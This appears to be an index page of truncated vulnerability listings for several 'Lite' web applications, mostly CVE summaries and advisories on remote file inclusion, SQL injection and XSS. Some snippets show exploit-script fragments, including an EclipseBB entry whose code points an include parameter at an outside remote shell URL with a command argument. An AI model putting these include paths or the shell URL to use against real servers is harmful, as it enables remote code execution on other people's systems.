lite-cms-0.2.1 Remote File Include Vulnerabilities

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

CyBoards PHP Lite 1.21 (script_path) Remote File Include Exploit

No description provided by source. !/usr/bin/perl CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: include"$scriptpath/include/defaultstyle.css";...

CyBoards PHP Lite 1.21 (script_path) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================ CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit ================================================================ !/usr/bin/perl CyBoards PHP Lite 1.21 scriptpat...

CyBoards PHP Lite 1.21 - script_path Remote File Inclusion

CyBoards PHP Lite 1.21 - scriptpath Remote File Inclusion !/usr/bin/perl CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code:...

satel-lfi.txt

+-------------------------------------------------------------------- + + Satel Lite for PhpNuke Satellite.php = Local File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: NUke Satel lite + Class .............: LoCal File Inclusion + Risk...

CVE-2007-1443: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in register.php in Woltlab Burning Board wBB 2.3.6 and Burning Board Lite 1.0.2pl3e allow remote attackers to inject arbitrary web script or HTML via the 1 rusername, 2 remail, 3 rpassword, 4 rconfirmpassword, 5 rhomepage, 6 ricq, 7 raim, 8 ryim, ...

MDKA-2007:009 : perl-SOAP-Lite

SOAP::Lite makes use of auto-generated methods with names that clash with methods exported by UNIVERSAL::require. As a result, using the two modules simultaneously will result in an immediate program crash. The package has been patched with an upstream fix to correct the issue. %NASLMINLEVEL 9999...

CVE-2007-0812

SQL injection in pms.php of Woltlab Burning Board (wBB) Lite 1.0.2pl3e and earlier; remote authenticated users can execute arbitrary SQL via pmid[0]. Affected: wBB Lite

CVE-2007-0812: Undefined Security Weakness

SQL injection vulnerability in pms.php in Woltlab Burning Board wBB Lite 1.0.2pl3e and earlier allows remote authenticated users to execute arbitrary SQL commands via the pmid0 parameter...

Woltlab Burning Board Lite <= 1.0.2pl3e (pms.php) SQL Injection Exploit

No description provided by source. ?php printr' ------------------------------------------------------------------------------- Woltlab Burning Board Lite = 1.0.2pl3e pms.php / sql injection exploit by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org dork: "Powered by Burnin...

Woltlab Burning Board Lite <= 1.0.2pl3e (pms.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================================= Woltlab Burning Board Lite = 4.1 / if $argc6 printr' ------------------------------------------------------------------------------- Usage: php '.$argv0.' host path us...

CVE-2007-0581

CVE-2007-0581 describes a PHP remote file inclusion in EclipseBB 0.5.0 Lite’s functions.php, exploitable via a URL in the phpbb_root_path parameter to execute arbitrary PHP code. Affected: EclipseBB 0.5.0 Lite. Root cause: improper handling of user-supplied URL in phpbb_root_path. Impact: arbitra...

EclipseBB 0.5.0 Lite (phpbb_root_path) Remote File Include Exploit

No description provided by source. C xoron Bug name: EclipseBB 0.5.0 Lite phpbbrootpath Remote File Include Exploit Script Name: EclipseBB 0.5.0 Lite Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "functions.php?phpbbrootpath="; $path = "/includes/"; $shell =...

EclipseBB 0.5.0 Lite - 'phpbb_root_path' Remote File Inclusion

C xoron Bug name: EclipseBB 0.5.0 Lite phpbbrootpath Remote File Include Exploit Script Name: EclipseBB 0.5.0 Lite Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "functions.php?phpbbrootpath="; $path = "/includes/"; $shell = "http://pang0.by.ru/shall/pang057.zz?cmd="; prin...

CVE-2006-6532

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 StrMsg or 2 TopicID parameter to a vfinfo.asp, b vfnewtopic.asp, c vfsettings.asp, and d vfreplytopic.asp, different vectors than CVE-2006-644...

CVE-2006-6532

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 StrMsg or 2 TopicID parameter to a vfinfo.asp, b vfnewtopic.asp, c vfsettings.asp, and d vfreplytopic.asp, different vectors than CVE-2006-644...

CVE-2006-6532

CVE-2006-6532 is an XSS issue affecting Vt-Forum Lite 1.3 and earlier. Connected docs confirm exploitable via (1) StrMsg/Topic_ID parameters to vf_info.asp, vf_newtopic.asp, vf_settings.asp, and vf_replytopic.asp (and references to CVE-2006-6447). Root cause is insufficient input sanitization lea...

CVE-2006-6532: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 StrMsg or 2 TopicID parameter to a vfinfo.asp, b vfnewtopic.asp, c vfsettings.asp, and d vfreplytopic.asp, different vectors than CVE-2006-644...

PHlyMail Lite Mod.Listmail.PHP远程文件包含漏洞

PHlyMail Lite是一款基于PHP的WEB邮件程序。 PHlyMail Lite不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'mod.listmail.php'脚本对用户提交的'PMpathhandler'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 PHlyMail PHlyMail 3.3.4 PHlyMail PHlyMail 3.0.2 .07 PHlyMail PHlyMail 3.0.2 .01 PHlyMail PHlyMail 3.0.2 .00 暂无...

CVE-2006-6447

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and 1.5 allow remote attackers to inject arbitrary web script or HTML via 1 the StrMes parameter in vfinfo.asp and possibly 2 a URL in the SRC attribute of an IFRAME element that is submitted to vfnewtopic.asp...